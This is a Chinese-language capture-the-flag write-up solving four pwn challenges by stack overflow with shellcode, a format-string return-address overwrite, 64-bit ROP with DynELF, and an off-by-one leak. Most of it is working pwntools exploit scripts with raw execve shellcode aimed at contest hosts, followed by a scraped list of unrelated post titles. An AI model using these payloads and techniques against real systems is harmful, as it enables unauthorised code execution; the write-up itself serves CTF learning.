80pts:

栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell

from pwn import *#p=process('./tc1')
p=remote('106.75.9.11',20000)
nop='\x90'*19buf='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'payload=p32(0x804a0a0+4)+nop+bufp.recvuntil('4. Divide\n')
#gdb.attach(p)
p.sendline('29')
p.recvuntil('[123 110]\n')
p.sendline(payload)
p.interactive()

100pts:

反编译看出漏洞为格式化字符串,nx:disabled,思路就是在栈上布置shellcode,但是限定输入长度16bytes,所以得先修改read size。分三步利用:第一次泄漏栈地址,第二次修改参数(大于511即可),第三次修改ret地址,注意栈地址偏大,一次写入不行,思考很久,分两次写入,第一次通过%$hn先写两字节,第二次通样在+2偏移处写两字节就能成功写栈上shellcode地址到printf的ret处,改变执行流程getshell。(这题才100points,不应该啊:(     )

int __cdecl main(int argc, const char **argv, const char **envp)
{signed int v3; // eax@2signed int v6; // [sp+10h] [bp-210h]@1int v7; // [sp+1Ch] [bp-204h]@4int v8; // [sp+21Ch] [bp-4h]@1
v8 = *MK_FP(__GS__, 20);v6 = 16;setvbuf(stdout, 0, 2, 0);ssignal(14, tooslow);alarm(20);while ( 1 ){v3 = 511;if ( v6 <= 511 )v3 = v6;v6 = v3;printf("Reading %d bytes\n", v3);read_until(&v7, v6, 10);printf((const char *)&v7);//格式化漏洞putchar(10);alarm(20);}
}

.text:0804F5A0                 sub     esp, 1Ch        ; Alternative name is '_IO_printf'
.text:0804F5A3                 lea     eax, [esp+1Ch+arg_4]
.text:0804F5A7                 mov     [esp+1Ch+var_14], eax
.text:0804F5AB                 mov     eax, [esp+1Ch+arg_0]
.text:0804F5AF                 mov     [esp+1Ch+var_18], eax
.text:0804F5B3                 mov     eax, stdout
.text:0804F5B8                 mov     [esp+1Ch+var_1C], eax
.text:0804F5BB                 call    vfprintf
.text:0804F5C0                 add     esp, 1Ch
.text:0804F5C3                 retn              ;需要控制printf函数的ret
.text:0804F5C3 printf          endp

#!/usr/bin/env python
from pwn import *
import binascii#p = process('./echo-200')
p = remote("106.75.9.11", '20001')#........leak stack........
payload1='%x%x%x%x%x'
print p.recvuntil('bytes\n')
p.sendline(payload1)
print p.recvuntil('10a010')
adr=p.recvuntil('\n').split('\n')[0]#........caculate address........
v=int(adr,16)
print hex(v)
addr=p32(v-0xc)
ebp=int(adr,16)+0x20c
k=v-0x20
q=v+0x20
c1=(q>>16) & 0xffff
c2=q & 0xffff#........change the buf size........
p.recvuntil('bytes\n')
payload2=addr+'%510x'+'%7$hn'
p.sendline(payload2)#........change ret address to excute shellcode........
buf =  ""
buf += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x70\x6a\x74\x4b\x62"
buf += "\x78\x5a\x39\x72\x72\x62\x46\x35\x38\x46\x4d\x42\x43"
buf += "\x4b\x39\x69\x77\x43\x58\x56\x4f\x54\x33\x45\x38\x37"
buf += "\x70\x63\x58\x54\x6f\x45\x32\x62\x49\x30\x6e\x4c\x49"
buf += "\x6b\x53\x71\x42\x5a\x48\x73\x38\x75\x50\x47\x70\x43"
buf += "\x30\x74\x6f\x65\x32\x50\x69\x50\x6e\x66\x4f\x54\x33"
buf += "\x32\x48\x43\x30\x42\x77\x56\x33\x6c\x49\x38\x61\x78"
buf += "\x4d\x6f\x70\x41\x41"
#gdb.attach(p)
payload3=p32(k)+p32(k+2)+'%%%dx'%(c2-4)+'%7$hn'+'%%%dx'%(c1-c2-4)+'%8$hn'+buf
p.recvuntil('bytes\n')
print "payload3:"+payload3p.sendline(payload3)
p.interactive() 

200pts:

64位程序的rop、dynelf的利用,和32位有区别,注意寄存器(rdi,rsi,rdx)传参,leak的大小需要精准才能成功getshell(原理参考:http://www.purpleroc.com/md/2016-02-25@Thinking-About-Level2.html),泄漏system地址,传参getshell:

from pwn import *
e = ELF('./qwb3')
p=process('./qwb3')
#p=remote('106.75.8.230',19286)
poprdi = 0x400633
poprsi = 0x400631 # pop rsi; pop r15; ret = 0x400631
plt_write = e.symbols['write']
plt_read = e.symbols['read']
main = 0x40059d
junk = 'A' * 8
data = 0x601048def leak_write(addr):global pp.recvuntil('pwn \n')payload = 'A' * 72 + p64(poprdi) + p64(1) + p64(poprsi) + p64(addr) + junk +p64(plt_write) + p64(main) p.send(payload.ljust(0x190, 'A'))ret = p.recv(40) return retd = DynELF(leak_write,elf=ELF('./qwb3'))
system = d.lookup('system','libc')
print system
print p.recvuntil('pwn \n')payload2 = 'A' * 72 + p64(poprdi) + p64(0) + p64(poprsi) + p64(data) + junk + p64(plt_read) + p64(poprdi) + p64(data) + p64(system)print "\n###sending payload2 ...###"
p.send(payload2)
#sleep(1)
#gdb.attach(p)
p.send('/bin/sh\0')
p.interactive()

300pts:

一开始无从下手,仔细想想,既然题目是leak,所以利用方式还是围绕输入来吧,限定了输入大小40,各种试溢出,试格式化字符串,最后输入name为'a'*40,flag为任一字符时可泄漏第一字节,第二次name不变,flag为第一次泄漏的字符加任一字符,泄漏第二个字符,以此类推得到flag,可以看出是off-by-one。

FLAG{wh4t3v3r_1s_0k}

转载于:https://www.cnblogs.com/Joe-Z/p/5634211.html

i春秋30强挑战赛pwn解题过程相关推荐

  1. python做三维图片挑战眼力_腾讯实习挑战赛30强WriteUp

    我觉得前十应该没几个会写wp,毕竟好多人都做好了不去的准备,应坏蛋邀请,在这里放出前三的wp,除了两道逆向,其余AK. 30强挑战赛writeup 0x00 基础题 301.能看到吗? 右键,查看源码 ...

  2. 逆向查找_CTFer成长之路--一道数独逆向题目解题过程(算法分析、查找线索)...

    前言 CTF 是实战性很强的赛事.仅学习理论知识,不进行实操,永远无法成为 CTF 大神.本次博客为大家解读一道数独相关的逆向,讲解解题过程,总结知识点(CTF中的套路). 题目介绍 本次选择的是出自 ...

  3. bugku上Snowfall解题过程

    MISC的Snowfall解题过程: 刚看到打开人直接傻掉,翻译一下暴风雪???什么鬼题,有没有一样这样想的 1:先看两个txt名字,告诉了步骤1,步2,所以肯定这个有用,给个网站: Whitelip ...

  4. 金融科技企业哪家强?来看“2020中关村金融科技30强榜单”

    编者按: 随着科技创新的力量不断迸发,以科技推动产业发展.推动经济社会数字化转型升级已经成为全球共识.金融科技已经成为全球金融中心竞争的焦点与中国经济新旧动能转换的突破点.随着金融科技的深入应用,加快 ...

  5. CTFer成长之路--一道历届逆向题解题过程(包含脱壳、算法分析)

    前言 CTF 是实战性很强的赛事.仅学习理论知识,不进行实操,永远无法成为 CTF 大神.从本篇博客开始,我将选择有代表性的历年CTF比赛题目,介绍解题过程,工具使用以及讲解知识点. 题目介绍 本次讲 ...

  6. 7-1 修理牧场 (25 分)(最详解)(最容易理解的解题过程)

    7-1 修理牧场 (25 分)(最详解)(最容易理解的解题过程) 农夫要修理牧场的一段栅栏,他测量了栅栏,发现需要N块木头,每块木头长度为整数L​i​​个长度单位,于是他购买了一条很长的.能锯成N块的 ...

  7. 全球大学文凭“含金量”排名出炉:“北清复”名列30强

    英媒称,大学跟大学不一样,毕业生找工作,学历上填哪些学校最能让雇主眼睛一亮?文凭"含金量"谁高谁低? 据英国广播公司网站9月14日报道,根据新出炉的2019全球大学毕业生" ...

  8. 微信支付宝服务器分布,支付宝微信扫码支付中间件「第二届立创商城电子制作节30强作品」...

    原标题:支付宝微信扫码支付中间件「第二届立创商城电子制作节30强作品」 本作品为第二届立创商城电子制作节30强入围作品,作者立创社区ID:云逸Baby:转载请注明出处,未经允许不得用作商业用途.作品原 ...

  9. 福布斯30岁以下30强名单新出炉!区块链从业者占比13%

    福布斯30岁以下30强名单出炉,趋势就在眼前. 区块链和加密货币生态系统的繁荣,在今年的福布斯30岁以下30强名单中得到了最新的诠释. 据CCN消息,在加密货币领域,有4位年龄在25到28岁之间的年轻 ...

最新文章

  1. D2 日报 2019年6月11日
  2. python round()四舍五入有偏差 注意了解
  3. Winform-DataGridView
  4. [转]---UAP中如何判断当前APP在哪个平台设备上运行
  5. Java JDK11快速下载地址
  6. 《Java 核心技术卷1 第10版》学习笔记------ 参数数量可变的方法
  7. 用 Freemarker 生成 word 文档
  8. 经典算法(5)- 用二进制方法实现扩展的最大公约数(Extended GCD)
  9. http get 消息的作用是什么?_http基础知识
  10. 使用javafx百行代码搞定多边形面积计算(可下载)
  11. rust如何进枪战服_rust手机版
  12. iOS -- 音频播放、录音、视频播放、拍照、视频录制
  13. 针对视觉位姿估计特征点优化问题的详细研究
  14. android自动路由,GitHub - greatzi/RouterKit: 又一个路由库;Android平台对页面、服务的路由框架。自动化且易用。...
  15. 读取浏览器cookies的python脚本
  16. c3p0数据库连接池配置总结
  17. 用cmd命令下载百度云的资源
  18. 点亮LED灯——arduino 学习第一天
  19. Java图像处理——美颜相机项目核心
  20. React-native项目中如何使用阿里字体库呢?

热门文章

  1. Python科学计算扩展库NumPy之广播(Broadcast)
  2. 硅谷封面|美国人要小心了!亚马逊正在监控他们的一举一动
  3. TensorFlow Keras 官方教程
  4. 28条有关人工智能的名言,靠不靠谱你来看!
  5. 关于__VA_ARGS__的说明
  6. Android Handler消息传递机制
  7. vs2019键盘钩子_C#键盘按键监视
  8. rsync文件实时同步_从文件同步rsync算法谈起
  9. python中定义字符串_python中的字符串
  10. Android开源项目